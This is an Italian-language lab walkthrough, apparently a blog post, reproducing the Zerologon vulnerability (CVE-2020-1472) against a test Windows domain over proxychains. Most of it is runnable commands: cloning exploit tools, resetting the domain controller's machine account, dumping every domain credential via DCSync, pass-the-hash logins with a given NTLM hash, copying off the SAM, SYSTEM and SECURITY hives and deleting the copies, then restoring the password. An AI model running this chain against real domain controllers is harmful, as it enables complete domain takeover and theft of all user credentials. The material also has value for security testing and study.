
cve-2020-1472 riproduzione, sfruttamento e relativo exploit
Riproduzione di questa vulnerabilità in un ambiente di dominio Windows tramite il proxy proxychains su macOS.
DC (controller di dominio principale):

Domain User (host membro del dominio):
Impostazione del proxy SOCKS5 diretto tramite gost.

Attack Hacker (macchina attaccante):
Configurazione di proxychains4
vim /Users/xq17/.proxychains/proxychains.conf
Aggiungi la lista ProxyList
[ProxyList] socks5 10.211.55.42 8099
Attack Tools (strumenti di attacco):
1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt
Se durante l'esecuzione compare questo errore:

significa che c'è un problema con il modulo impacket; prova a disinstallare il modulo impacket e installa l'ultima versione da GitHub.
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .
In questo modo il problema si risolve.
Strumento in versione C#: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
In locale, prova prima a usare la password del domain controller per esportare l'hash dell'account macchina del dominio, così da poterlo confrontare con quello modificato successivamente.
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
oppure rimuovi le virgolette, ma tieni presente che in Linux il simbolo $ indica una variabile, quindi ricordati di eseguirne l'escape.
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$

Usa zerologon_tester.py per verificare se la vulnerabilità è presente.
python3 zerologon_tester.py DC 10.211.55.38

Se viene restituito "Success", la vulnerabilità è presente.
Usa cve-2020-1472-exploit.py per reimpostare l'account macchina
python3 cve-2020-1472-exploit.py dc$ 10.211.55.38


L'account macchina del domain controller può utilizzare DCSync per esportare tutte le credenziali degli utenti del dominio.
Principio:
Sfrutta il protocollo DRS (Directory Replication Service, servizio di replica della directory) per copiare le credenziali degli utenti dal domain controller tramite IDL_DRSGetNCChanges.
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

Ripristina la password dell'account macchina DC$ Tramite
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'
ottieni l'hash dell'amministratore di dominio.


Quindi, tramite wmic e pass-the-hash, ottieni i privilegi di amministratore locale (amministratore di dominio) sul domain controller.
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
Poi esegui rispettivamente i seguenti comandi per copiare il database SAM locale sul Mac:
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
In ambiente a dominio singolo:
Può funzionare perfettamente; dopo il riavvio del domain controller non ci sono anomalie, ma il DNS sulle macchine membro del dominio può dare problemi, senza compromettere l'autenticazione.

Dopo il ripristino della password:

In ambiente a due domini, con un DC principale e un DC01 di backup:

Ottenendo inizialmente gli hash delle macchine dei due domain controller, si scopre che non sono uguali.

Provando ad attaccare il domain controller secondario, non si è riscontrato alcun impatto sul domain controller principale; si nota anche che i dati di ntdis.dist vengono sincronizzati.

Provando ad attaccare il domain controller principale, net time /domain va in errore anche nell'ambiente a dominio singolo, ma dopo il ripristino della password tutto si ripristina immediatamente.
La creazione di nuovi account può essere sincronizzata direttamente.

Anche la modifica delle password non influisce sulla sincronizzazione.
Personalmente, al momento non ho riscontrato problemi di uscita dal dominio; consiglio di ripetere questa procedura una volta e, in caso di problemi, sei il benvenuto a discuterne con me!

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
Estrai l'hex della password in chiaro dell'account macchina.

Infine esegui:
proxychains4 python3 restorepassword.py DC@DC -target-ip 10.211.55.38 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960

Si può notare che le informazioni sono state ripristinate completamente.